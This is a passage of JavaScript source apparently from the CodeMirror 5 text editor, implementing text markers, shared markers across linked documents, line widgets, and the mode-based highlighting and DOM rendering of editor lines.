var match = this.string.slice(this.pos).match(pattern);
if (match && match.index > 0) return null;
if (match && consume !== false) this.pos += match[0].length;
return match;
}
},
current: function(){return this.string.slice(this.start, this.pos);},
hideFirstChars: function(n, inner) {
this.lineStart += n;
try { return inner(); }
finally { this.lineStart -= n; }
}
};
// TEXTMARKERS
// Created with markText and setBookmark methods. A TextMarker is a
// handle that can be used to clear or find a marked position in the
// document. Line objects hold arrays (markedSpans) containing
// {from, to, marker} object pointing to such marker objects, and
// indicating that such a marker is present on that line. Multiple
// lines may point to the same marker when it spans across lines.
// The spans will have null for their from/to properties when the
// marker continues beyond the start/end of the line. Markers have
// links back to the lines they currently touch.
var nextMarkerId = 0;
var TextMarker = CodeMirror.TextMarker = function(doc, type) {
this.lines = [];
this.type = type;
this.doc = doc;
this.id = ++nextMarkerId;
};
eventMixin(TextMarker);
// Clear the marker.
TextMarker.prototype.clear = function() {
if (this.explicitlyCleared) return;
var cm = this.doc.cm, withOp = cm && !cm.curOp;
if (withOp) startOperation(cm);
if (hasHandler(this, "clear")) {
var found = this.find();
if (found) signalLater(this, "clear", found.from, found.to);
}
var min = null, max = null;
for (var i = 0; i < this.lines.length; ++i) {
var line = this.lines[i];
var span = getMarkedSpanFor(line.markedSpans, this);
if (cm && !this.collapsed) regLineChange(cm, lineNo(line), "text");
else if (cm) {
if (span.to != null) max = lineNo(line);
if (span.from != null) min = lineNo(line);
}
line.markedSpans = removeMarkedSpan(line.markedSpans, span);
if (span.from == null && this.collapsed && !lineIsHidden(this.doc, line) && cm)
updateLineHeight(line, textHeight(cm.display));
}
if (cm && this.collapsed && !cm.options.lineWrapping) for (var i = 0; i < this.lines.length; ++i) {
var visual = visualLine(this.lines[i]), len = lineLength(visual);
if (len > cm.display.maxLineLength) {
cm.display.maxLine = visual;
cm.display.maxLineLength = len;
cm.display.maxLineChanged = true;
}
}
if (min != null && cm && this.collapsed) regChange(cm, min, max + 1);
this.lines.length = 0;
this.explicitlyCleared = true;
if (this.atomic && this.doc.cantEdit) {
this.doc.cantEdit = false;
if (cm) reCheckSelection(cm.doc);
}
if (cm) signalLater(cm, "markerCleared", cm, this);
if (withOp) endOperation(cm);
if (this.parent) this.parent.clear();
};
// Find the position of the marker in the document. Returns a {from,
// to} object by default. Side can be passed to get a specific side
// -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the
// Pos objects returned contain a line object, rather than a line
// number (used to prevent looking up the same line twice).
TextMarker.prototype.find = function(side, lineObj) {
if (side == null && this.type == "bookmark") side = 1;
var from, to;
for (var i = 0; i < this.lines.length; ++i) {
var line = this.lines[i];
var span = getMarkedSpanFor(line.markedSpans, this);
if (span.from != null) {
from = Pos(lineObj ? line : lineNo(line), span.from);
if (side == -1) return from;
}
if (span.to != null) {
to = Pos(lineObj ? line : lineNo(line), span.to);
if (side == 1) return to;
}
}
return from && {from: from, to: to};
};
// Signals that the marker's widget changed, and surrounding layout
// should be recomputed.
TextMarker.prototype.changed = function() {
var pos = this.find(-1, true), widget = this, cm = this.doc.cm;
if (!pos || !cm) return;
runInOp(cm, function() {
var line = pos.line, lineN = lineNo(pos.line);
var view = findViewForLine(cm, lineN);
if (view) {
clearLineMeasurementCacheFor(view);
cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;
}
cm.curOp.updateMaxLine = true;
if (!lineIsHidden(widget.doc, line) && widget.height != null) {
var oldHeight = widget.height;
widget.height = null;
var dHeight = widgetHeight(widget) - oldHeight;
if (dHeight)
updateLineHeight(line, line.height + dHeight);
}
});
};
TextMarker.prototype.attachLine = function(line) {
if (!this.lines.length && this.doc.cm) {
var op = this.doc.cm.curOp;
if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1)
(op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this);
}
this.lines.push(line);
};
TextMarker.prototype.detachLine = function(line) {
this.lines.splice(indexOf(this.lines, line), 1);
if (!this.lines.length && this.doc.cm) {
var op = this.doc.cm.curOp;
(op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);
}
};
// Collapsed markers have unique ids, in order to be able to order
// them, which is needed for uniquely determining an outer marker
// when they overlap (they may nest, but not partially overlap).
var nextMarkerId = 0;
// Create a marker, wire it up to the right lines, and
function markText(doc, from, to, options, type) {
// Shared markers (across linked documents) are handled separately
// (markTextShared will call out to this again, once per
// document).
if (options && options.shared) return markTextShared(doc, from, to, options, type);
// Ensure we are in an operation.
if (doc.cm && !doc.cm.curOp) return operation(doc.cm, markText)(doc, from, to, options, type);
var marker = new TextMarker(doc, type), diff = cmp(from, to);
if (options) copyObj(options, marker, false);
// Don't connect empty markers unless clearWhenEmpty is false
if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false)
return marker;
if (marker.replacedWith) {
// Showing up as a widget implies collapsed (widget replaces text)
marker.collapsed = true;
marker.widgetNode = elt("span", [marker.replacedWith], "CodeMirror-widget");
if (!options.handleMouseEvents) marker.widgetNode.setAttribute("cm-ignore-events", "true");
if (options.insertLeft) marker.widgetNode.insertLeft = true;
}
if (marker.collapsed) {
if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||
from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker))
throw new Error("Inserting collapsed marker partially overlapping an existing one");
sawCollapsedSpans = true;
}
if (marker.addToHistory)
addChangeToHistory(doc, {from: from, to: to, origin: "markText"}, doc.sel, NaN);
var curLine = from.line, cm = doc.cm, updateMaxLine;
doc.iter(curLine, to.line + 1, function(line) {
if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)
updateMaxLine = true;
if (marker.collapsed && curLine != from.line) updateLineHeight(line, 0);
addMarkedSpan(line, new MarkedSpan(marker,
curLine == from.line ? from.ch : null,
curLine == to.line ? to.ch : null));
++curLine;
});
// lineIsHidden depends on the presence of the spans, so needs a second pass
if (marker.collapsed) doc.iter(from.line, to.line + 1, function(line) {
if (lineIsHidden(doc, line)) updateLineHeight(line, 0);
});
if (marker.clearOnEnter) on(marker, "beforeCursorEnter", function() { marker.clear(); });
if (marker.readOnly) {
sawReadOnlySpans = true;
if (doc.history.done.length || doc.history.undone.length)
doc.clearHistory();
}
if (marker.collapsed) {
marker.id = ++nextMarkerId;
marker.atomic = true;
}
if (cm) {
// Sync editor state
if (updateMaxLine) cm.curOp.updateMaxLine = true;
if (marker.collapsed)
regChange(cm, from.line, to.line + 1);
else if (marker.className || marker.title || marker.startStyle || marker.endStyle || marker.css)
for (var i = from.line; i <= to.line; i++) regLineChange(cm, i, "text");
if (marker.atomic) reCheckSelection(cm.doc);
signalLater(cm, "markerAdded", cm, marker);
}
return marker;
}
// SHARED TEXTMARKERS
// A shared marker spans multiple linked documents. It is
// implemented as a meta-marker-object controlling multiple normal
// markers.
var SharedTextMarker = CodeMirror.SharedTextMarker = function(markers, primary) {
this.markers = markers;
this.primary = primary;
for (var i = 0; i < markers.length; ++i)
markers[i].parent = this;
};
eventMixin(SharedTextMarker);
SharedTextMarker.prototype.clear = function() {
if (this.explicitlyCleared) return;
this.explicitlyCleared = true;
for (var i = 0; i < this.markers.length; ++i)
this.markers[i].clear();
signalLater(this, "clear");
};
SharedTextMarker.prototype.find = function(side, lineObj) {
return this.primary.find(side, lineObj);
};
function markTextShared(doc, from, to, options, type) {
options = copyObj(options);
options.shared = false;
var markers = [markText(doc, from, to, options, type)], primary = markers[0];
var widget = options.widgetNode;
linkedDocs(doc, function(doc) {
if (widget) options.widgetNode = widget.cloneNode(true);
markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type));
for (var i = 0; i < doc.linked.length; ++i)
if (doc.linked[i].isParent) return;
primary = lst(markers);
});
return new SharedTextMarker(markers, primary);
}
function findSharedMarkers(doc) {
return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())),
function(m) { return m.parent; });
}
function copySharedMarkers(doc, markers) {
for (var i = 0; i < markers.length; i++) {
var marker = markers[i], pos = marker.find();
var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);
if (cmp(mFrom, mTo)) {
var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type);
marker.markers.push(subMark);
subMark.parent = marker;
}
}
}
function detachSharedMarkers(markers) {
for (var i = 0; i < markers.length; i++) {
var marker = markers[i], linked = [marker.primary.doc];;
linkedDocs(marker.primary.doc, function(d) { linked.push(d); });
for (var j = 0; j < marker.markers.length; j++) {
var subMarker = marker.markers[j];
if (indexOf(linked, subMarker.doc) == -1) {
subMarker.parent = null;
marker.markers.splice(j--, 1);
}
}
}
}
// TEXTMARKER SPANS
function MarkedSpan(marker, from, to) {
this.marker = marker;
this.from = from; this.to = to;
}
// Search an array of spans for a span matching the given marker.
function getMarkedSpanFor(spans, marker) {
if (spans) for (var i = 0; i < spans.length; ++i) {
var span = spans[i];
if (span.marker == marker) return span;
}
}
// Remove a span from an array, returning undefined if no spans are
// left (we don't store arrays for lines without spans).
function removeMarkedSpan(spans, span) {
for (var r, i = 0; i < spans.length; ++i)
if (spans[i] != span) (r || (r = [])).push(spans[i]);
return r;
}
// Add a span to a line.
function addMarkedSpan(line, span) {
line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span];
span.marker.attachLine(line);
}
// Used for the algorithm that adjusts markers for a change in the
// document. These functions cut an array of spans at a given
// character position, returning an array of remaining chunks (or
// undefined if nothing remains).
function markedSpansBefore(old, startCh, isInsert) {
if (old) for (var i = 0, nw; i < old.length; ++i) {
var span = old[i], marker = span.marker;
var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh);
if (startsBefore || span.from == startCh && marker.type == "bookmark" && (!isInsert || !span.marker.insertLeft)) {
var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh);
(nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to));
}
}
return nw;
}
function markedSpansAfter(old, endCh, isInsert) {
if (old) for (var i = 0, nw; i < old.length; ++i) {
var span = old[i], marker = span.marker;
var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh);
if (endsAfter || span.from == endCh && marker.type == "bookmark" && (!isInsert || span.marker.insertLeft)) {
var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh);
(nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh,
span.to == null ? null : span.to - endCh));
}
}
return nw;
}
// Given a change object, compute the new set of marker spans that
// cover the line in which the change took place. Removes spans
// entirely within the change, reconnects spans belonging to the
// same marker that appear on both sides of the change, and cuts off
// spans partially within the change. Returns an array of span
// arrays with one element for each line in (after) the change.
function stretchSpansOverChange(doc, change) {
if (change.full) return null;
var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans;
var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans;
if (!oldFirst && !oldLast) return null;
var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0;
// Get the spans that 'stick out' on both sides
var first = markedSpansBefore(oldFirst, startCh, isInsert);
var last = markedSpansAfter(oldLast, endCh, isInsert);
// Next, merge those two ends
var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0);
if (first) {
// Fix up .to properties of first
for (var i = 0; i < first.length; ++i) {
var span = first[i];
if (span.to == null) {
var found = getMarkedSpanFor(last, span.marker);
if (!found) span.to = startCh;
else if (sameLine) span.to = found.to == null ? null : found.to + offset;
}
}
}
if (last) {
// Fix up .from in last (or move them into first in case of sameLine)
for (var i = 0; i < last.length; ++i) {
var span = last[i];
if (span.to != null) span.to += offset;
if (span.from == null) {
var found = getMarkedSpanFor(first, span.marker);
if (!found) {
span.from = offset;
if (sameLine) (first || (first = [])).push(span);
}
} else {
span.from += offset;
if (sameLine) (first || (first = [])).push(span);
}
}
}
// Make sure we didn't create any zero-length spans
if (first) first = clearEmptySpans(first);
if (last && last != first) last = clearEmptySpans(last);
var newMarkers = [first];
if (!sameLine) {
// Fill gap with whole-line-spans
var gap = change.text.length - 2, gapMarkers;
if (gap > 0 && first)
for (var i = 0; i < first.length; ++i)
if (first[i].to == null)
(gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i].marker, null, null));
for (var i = 0; i < gap; ++i)
newMarkers.push(gapMarkers);
newMarkers.push(last);
}
return newMarkers;
}
// Remove spans that are empty and don't have a clearWhenEmpty
// option of false.
function clearEmptySpans(spans) {
for (var i = 0; i < spans.length; ++i) {
var span = spans[i];
if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false)
spans.splice(i--, 1);
}
if (!spans.length) return null;
return spans;
}
// Used for un/re-doing changes from the history. Combines the
// result of computing the existing spans with the set of spans that
// existed in the history (so that deleting around a span and then
// undoing brings back the span).
function mergeOldSpans(doc, change) {
var old = getOldSpans(doc, change);
var stretched = stretchSpansOverChange(doc, change);
if (!old) return stretched;
if (!stretched) return old;
for (var i = 0; i < old.length; ++i) {
var oldCur = old[i], stretchCur = stretched[i];
if (oldCur && stretchCur) {
spans: for (var j = 0; j < stretchCur.length; ++j) {
var span = stretchCur[j];
for (var k = 0; k < oldCur.length; ++k)
if (oldCur[k].marker == span.marker) continue spans;
oldCur.push(span);
}
} else if (stretchCur) {
old[i] = stretchCur;
}
}
return old;
}
// Used to 'clip' out readOnly ranges when making a change.
function removeReadOnlyRanges(doc, from, to) {
var markers = null;
doc.iter(from.line, to.line + 1, function(line) {
if (line.markedSpans) for (var i = 0; i < line.markedSpans.length; ++i) {
var mark = line.markedSpans[i].marker;
if (mark.readOnly && (!markers || indexOf(markers, mark) == -1))
(markers || (markers = [])).push(mark);
}
});
if (!markers) return null;
var parts = [{from: from, to: to}];
for (var i = 0; i < markers.length; ++i) {
var mk = markers[i], m = mk.find(0);
for (var j = 0; j < parts.length; ++j) {
var p = parts[j];
if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) continue;
var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to);
if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)
newParts.push({from: p.from, to: m.from});
if (dto > 0 || !mk.inclusiveRight && !dto)
newParts.push({from: m.to, to: p.to});
parts.splice.apply(parts, newParts);
j += newParts.length - 1;
}
}
return parts;
}
// Connect or disconnect spans from a line.
function detachMarkedSpans(line) {
var spans = line.markedSpans;
if (!spans) return;
for (var i = 0; i < spans.length; ++i)
spans[i].marker.detachLine(line);
line.markedSpans = null;
}
function attachMarkedSpans(line, spans) {
if (!spans) return;
for (var i = 0; i < spans.length; ++i)
spans[i].marker.attachLine(line);
line.markedSpans = spans;
}
// Helpers used when computing which overlapping collapsed span
// counts as the larger one.
function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0; }
function extraRight(marker) { return marker.inclusiveRight ? 1 : 0; }
// Returns a number indicating which of two overlapping collapsed
// spans is larger (and thus includes the other). Falls back to
// comparing ids when the spans cover exactly the same range.
function compareCollapsedMarkers(a, b) {
var lenDiff = a.lines.length - b.lines.length;
if (lenDiff != 0) return lenDiff;
var aPos = a.find(), bPos = b.find();
var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);
if (fromCmp) return -fromCmp;
var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);
if (toCmp) return toCmp;
return b.id - a.id;
}
// Find out whether a line ends or starts in a collapsed span. If
// so, return the marker for that span.
function collapsedSpanAtSide(line, start) {
var sps = sawCollapsedSpans && line.markedSpans, found;
if (sps) for (var sp, i = 0; i < sps.length; ++i) {
sp = sps[i];
if (sp.marker.collapsed && (start ? sp.from : sp.to) == null &&
(!found || compareCollapsedMarkers(found, sp.marker) < 0))
found = sp.marker;
}
return found;
}
function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true); }
function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false); }
// Test whether there exists a collapsed span that partially
// overlaps (covers the start or end, but not both) of a new span.
// Such overlap is not allowed.
function conflictingCollapsedRange(doc, lineNo, from, to, marker) {
var line = getLine(doc, lineNo);
var sps = sawCollapsedSpans && line.markedSpans;
if (sps) for (var i = 0; i < sps.length; ++i) {
var sp = sps[i];
if (!sp.marker.collapsed) continue;
var found = sp.marker.find(0);
var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker);
var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker);
if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) continue;
if (fromCmp <= 0 && (sp.marker.inclusiveRight && marker.inclusiveLeft ? cmp(found.to, from) >= 0 : cmp(found.to, from) > 0) ||
fromCmp >= 0 && (sp.marker.inclusiveRight && marker.inclusiveLeft ? cmp(found.from, to) <= 0 : cmp(found.from, to) < 0))
return true;
}
}
// A visual line is a line as drawn on the screen. Folding, for
// example, can cause multiple logical lines to appear on the same
// visual line. This finds the start of the visual line that the
// given line is part of (usually that is the line itself).
function visualLine(line) {
var merged;
while (merged = collapsedSpanAtStart(line))
line = merged.find(-1, true).line;
return line;
}
// Returns an array of logical lines that continue the visual line
// started by the argument, or undefined if there are no such lines.
function visualLineContinued(line) {
var merged, lines;
while (merged = collapsedSpanAtEnd(line)) {
line = merged.find(1, true).line;
(lines || (lines = [])).push(line);
}
return lines;
}
// Get the line number of the start of the visual line that the
// given line number is part of.
function visualLineNo(doc, lineN) {
var line = getLine(doc, lineN), vis = visualLine(line);
if (line == vis) return lineN;
return lineNo(vis);
}
// Get the line number of the start of the next visual line after
// the given line.
function visualLineEndNo(doc, lineN) {
if (lineN > doc.lastLine()) return lineN;
var line = getLine(doc, lineN), merged;
if (!lineIsHidden(doc, line)) return lineN;
while (merged = collapsedSpanAtEnd(line))
line = merged.find(1, true).line;
return lineNo(line) + 1;
}
// Compute whether a line is hidden. Lines count as hidden when they
// are part of a visual line that starts with another line, or when
// they are entirely covered by collapsed, non-widget span.
function lineIsHidden(doc, line) {
var sps = sawCollapsedSpans && line.markedSpans;
if (sps) for (var sp, i = 0; i < sps.length; ++i) {
sp = sps[i];
if (!sp.marker.collapsed) continue;
if (sp.from == null) return true;
if (sp.marker.widgetNode) continue;
if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp))
return true;
}
}
function lineIsHiddenInner(doc, line, span) {
if (span.to == null) {
var end = span.marker.find(1, true);
return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker));
}
if (span.marker.inclusiveRight && span.to == line.text.length)
return true;
for (var sp, i = 0; i < line.markedSpans.length; ++i) {
sp = line.markedSpans[i];
if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to &&
(sp.to == null || sp.to != span.from) &&
(sp.marker.inclusiveLeft || span.marker.inclusiveRight) &&
lineIsHiddenInner(doc, line, sp)) return true;
}
}
// LINE WIDGETS
// Line widgets are block elements displayed above or below a line.
var LineWidget = CodeMirror.LineWidget = function(doc, node, options) {
if (options) for (var opt in options) if (options.hasOwnProperty(opt))
this[opt] = options[opt];
this.doc = doc;
this.node = node;
};
eventMixin(LineWidget);
function adjustScrollWhenAboveVisible(cm, line, diff) {
if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop))
addToScrollPos(cm, null, diff);
}
LineWidget.prototype.clear = function() {
var cm = this.doc.cm, ws = this.line.widgets, line = this.line, no = lineNo(line);
if (no == null || !ws) return;
for (var i = 0; i < ws.length; ++i) if (ws[i] == this) ws.splice(i--, 1);
if (!ws.length) line.widgets = null;
var height = widgetHeight(this);
updateLineHeight(line, Math.max(0, line.height - height));
if (cm) runInOp(cm, function() {
adjustScrollWhenAboveVisible(cm, line, -height);
regLineChange(cm, no, "widget");
});
};
LineWidget.prototype.changed = function() {
var oldH = this.height, cm = this.doc.cm, line = this.line;
this.height = null;
var diff = widgetHeight(this) - oldH;
if (!diff) return;
updateLineHeight(line, line.height + diff);
if (cm) runInOp(cm, function() {
cm.curOp.forceUpdate = true;
adjustScrollWhenAboveVisible(cm, line, diff);
});
};
function widgetHeight(widget) {
if (widget.height != null) return widget.height;
var cm = widget.doc.cm;
if (!cm) return 0;
if (!contains(document.body, widget.node)) {
var parentStyle = "position: relative;";
if (widget.coverGutter)
parentStyle += "margin-left: -" + cm.display.gutters.offsetWidth + "px;";
if (widget.noHScroll)
parentStyle += "width: " + cm.display.wrapper.clientWidth + "px;";
removeChildrenAndAdd(cm.display.measure, elt("div", [widget.node], null, parentStyle));
}
return widget.height = widget.node.parentNode.offsetHeight;
}
function addLineWidget(doc, handle, node, options) {
var widget = new LineWidget(doc, node, options);
var cm = doc.cm;
if (cm && widget.noHScroll) cm.display.alignWidgets = true;
changeLine(doc, handle, "widget", function(line) {
var widgets = line.widgets || (line.widgets = []);
if (widget.insertAt == null) widgets.push(widget);
else widgets.splice(Math.min(widgets.length - 1, Math.max(0, widget.insertAt)), 0, widget);
widget.line = line;
if (cm && !lineIsHidden(doc, line)) {
var aboveVisible = heightAtLine(line) < doc.scrollTop;
updateLineHeight(line, line.height + widgetHeight(widget));
if (aboveVisible) addToScrollPos(cm, null, widget.height);
cm.curOp.forceUpdate = true;
}
return true;
});
return widget;
}
// LINE DATA STRUCTURE
// Line objects. These hold state related to a line, including
// highlighting info (the styles array).
var Line = CodeMirror.Line = function(text, markedSpans, estimateHeight) {
this.text = text;
attachMarkedSpans(this, markedSpans);
this.height = estimateHeight ? estimateHeight(this) : 1;
};
eventMixin(Line);
Line.prototype.lineNo = function() { return lineNo(this); };
// Change the content (text, markers) of a line. Automatically
// invalidates cached information and tries to re-estimate the
// line's height.
function updateLine(line, text, markedSpans, estimateHeight) {
line.text = text;
if (line.stateAfter) line.stateAfter = null;
if (line.styles) line.styles = null;
if (line.order != null) line.order = null;
detachMarkedSpans(line);
attachMarkedSpans(line, markedSpans);
var estHeight = estimateHeight ? estimateHeight(line) : 1;
if (estHeight != line.height) updateLineHeight(line, estHeight);
}
// Detach a line from the document tree and its markers.
function cleanUpLine(line) {
line.parent = null;
detachMarkedSpans(line);
}
function extractLineClasses(type, output) {
if (type) for (;;) {
var lineClass = type.match(/(?:^|\s+)line-(background-)?(\S+)/);
if (!lineClass) break;
type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length);
var prop = lineClass[1] ? "bgClass" : "textClass";
if (output[prop] == null)
output[prop] = lineClass[2];
else if (!(new RegExp("(?:^|\s)" + lineClass[2] + "(?:$|\s)")).test(output[prop]))
output[prop] += " " + lineClass[2];
}
return type;
}
function callBlankLine(mode, state) {
if (mode.blankLine) return mode.blankLine(state);
if (!mode.innerMode) return;
var inner = CodeMirror.innerMode(mode, state);
if (inner.mode.blankLine) return inner.mode.blankLine(inner.state);
}
function readToken(mode, stream, state, inner) {
for (var i = 0; i < 10; i++) {
if (inner) inner[0] = CodeMirror.innerMode(mode, state).mode;
var style = mode.token(stream, state);
if (stream.pos > stream.start) return style;
}
throw new Error("Mode " + mode.name + " failed to advance stream.");
}
// Utility for getTokenAt and getLineTokens
function takeToken(cm, pos, precise, asArray) {
function getObj(copy) {
return {start: stream.start, end: stream.pos,
string: stream.current(),
type: style || null,
state: copy ? copyState(doc.mode, state) : state};
}
var doc = cm.doc, mode = doc.mode, style;
pos = clipPos(doc, pos);
var line = getLine(doc, pos.line), state = getStateBefore(cm, pos.line, precise);
var stream = new StringStream(line.text, cm.options.tabSize), tokens;
if (asArray) tokens = [];
while ((asArray || stream.pos < pos.ch) && !stream.eol()) {
stream.start = stream.pos;
style = readToken(mode, stream, state);
if (asArray) tokens.push(getObj(true));
}
return asArray ? tokens : getObj();
}
// Run the given mode's parser over a line, calling f for each token.
function runMode(cm, text, mode, state, f, lineClasses, forceToEnd) {
var flattenSpans = mode.flattenSpans;
if (flattenSpans == null) flattenSpans = cm.options.flattenSpans;
var curStart = 0, curStyle = null;
var stream = new StringStream(text, cm.options.tabSize), style;
var inner = cm.options.addModeClass && [null];
if (text == "") extractLineClasses(callBlankLine(mode, state), lineClasses);
while (!stream.eol()) {
if (stream.pos > cm.options.maxHighlightLength) {
flattenSpans = false;
if (forceToEnd) processLine(cm, text, state, stream.pos);
stream.pos = text.length;
style = null;
} else {
style = extractLineClasses(readToken(mode, stream, state, inner), lineClasses);
}
if (inner) {
var mName = inner[0].name;
if (mName) style = "m-" + (style ? mName + " " + style : mName);
}
if (!flattenSpans || curStyle != style) {
while (curStart < stream.start) {
curStart = Math.min(stream.start, curStart + 50000);
f(curStart, curStyle);
}
curStyle = style;
}
stream.start = stream.pos;
}
while (curStart < stream.pos) {
// Webkit seems to refuse to render text nodes longer than 57444 characters
var pos = Math.min(stream.pos, curStart + 50000);
f(pos, curStyle);
curStart = pos;
}
}
// Compute a style array (an array starting with a mode generation
// -- for invalidation -- followed by pairs of end positions and
// style strings), which is used to highlight the tokens on the
// line.
function highlightLine(cm, line, state, forceToEnd) {
// A styles array always starts with a number identifying the
// mode/overlays that it is based on (for easy invalidation).
var st = [cm.state.modeGen], lineClasses = {};
// Compute the base array of styles
runMode(cm, line.text, cm.doc.mode, state, function(end, style) {
st.push(end, style);
}, lineClasses, forceToEnd);
// Run overlays, adjust style array.
for (var o = 0; o < cm.state.overlays.length; ++o) {
var overlay = cm.state.overlays[o], i = 1, at = 0;
runMode(cm, line.text, overlay.mode, true, function(end, style) {
var start = i;
// Ensure there's a token end at the current position, and that i points at it
while (at < end) {
var i_end = st[i];
if (i_end > end)
st.splice(i, 1, end, st[i+1], i_end);
i += 2;
at = Math.min(end, i_end);
}
if (!style) return;
if (overlay.opaque) {
st.splice(start, i - start, end, "cm-overlay " + style);
i = start + 2;
} else {
for (; start < i; start += 2) {
var cur = st[start+1];
st[start+1] = (cur ? cur + " " : "") + "cm-overlay " + style;
}
}
}, lineClasses);
}
return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null};
}
function getLineStyles(cm, line, updateFrontier) {
if (!line.styles || line.styles[0] != cm.state.modeGen) {
var state = getStateBefore(cm, lineNo(line));
var result = highlightLine(cm, line, line.text.length > cm.options.maxHighlightLength ? copyState(cm.doc.mode, state) : state);
line.stateAfter = state;
line.styles = result.styles;
if (result.classes) line.styleClasses = result.classes;
else if (line.styleClasses) line.styleClasses = null;
if (updateFrontier === cm.doc.frontier) cm.doc.frontier++;
}
return line.styles;
}
// Lightweight form of highlight -- proceed over this line and
// update state, but don't save a style array. Used for lines that
// aren't currently visible.
function processLine(cm, text, state, startAt) {
var mode = cm.doc.mode;
var stream = new StringStream(text, cm.options.tabSize);
stream.start = stream.pos = startAt || 0;
if (text == "") callBlankLine(mode, state);
while (!stream.eol()) {
readToken(mode, stream, state);
stream.start = stream.pos;
}
}
// Convert a style as returned by a mode (either null, or a string
// containing one or more styles) to a CSS style. This is cached,
// and also looks for line-wide styles.
var styleToClassCache = {}, styleToClassCacheWithMode = {};
function interpretTokenStyle(style, options) {
if (!style || /^\s*$/.test(style)) return null;
var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache;
return cache[style] ||
(cache[style] = style.replace(/\S+/g, "cm-$&"));
}
// Render the DOM representation of the text of a line. Also builds
// up a 'line map', which points at the DOM nodes that represent
// specific stretches of text, and is used by the measuring code.
// The returned object contains the DOM node, this map, and
// information about line-wide styles that were set by the mode.
function buildLineContent(cm, lineView) {
// The padding-right forces the element to have a 'border', which
// is needed on Webkit to be able to get line-level bounding
// rectangles for it (in measureChar).
var content = elt("span", null, null, webkit ? "padding-right: .1px" : null);
var builder = {pre: elt("pre", [content], "CodeMirror-line"), content: content,
col: 0, pos: 0, cm: cm,
trailingSpace: false,
splitSpaces: (ie || webkit) && cm.getOption("lineWrapping")};
lineView.measure = {};
// Iterate over the logical lines that make up this visual line.
for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) {
var line = i ? lineView.rest[i - 1] : lineView.line, order;
builder.pos = 0;
builder.addToken = buildToken;
// Optionally wire in some hacks into the token-rendering
// algorithm, to deal with browser quirks.
if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line)))
builder.addToken = buildTokenBadBidi(builder.addToken, order);
builder.map = [];
var allowFrontierUpdate = lineView != cm.display.externalMeasured && lineNo(line);
insertLineContent(line, builder, getLineStyles(cm, line, allowFrontierUpdate));
if (line.styleClasses) {
if (line.styleClasses.bgClass)
builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || "");
if (line.styleClasses.textClass)
builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || "");
}
// Ensure at least a single node is present, for measuring.
if (builder.map.length == 0)
builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure)));
// Store the map and a cache object for the current logical line
if (i == 0) {
lineView.measure.map = builder.map;
lineView.measure.cache = {};
} else {
(lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map);
(lineView.measure.caches || (lineView.measure.caches = [])).push({});
}
}
// See issue #2901
if (webkit) {
var last = builder.content.lastChild
if (/\bcm-tab\b/.test(last.className) || (last.querySelector && last.querySelector(".cm-tab")))
builder.content.className = "cm-tab-wrap-hack";
}
signal(cm, "renderLine", cm, lineView.line, builder.pre);
if (builder.pre.className)
builder.textClass = joinClasses(builder.pre.className, builder.textClass || "");
return builder;
}
function defaultSpecialCharPlaceholder(ch) {
var token = elt("span", "\u2022", "cm-invalidchar");
token.title = "\\u" + ch.charCodeAt(0).toString(16);
token.setAttribute("aria-label", token.title);
return token;
}
// Build up the DOM representation for a single token, and add it to
// the line map. Takes care to render special characters separately.
function buildToken(builder, text, style, startStyle, endStyle, title, css) {
if (!text) return;
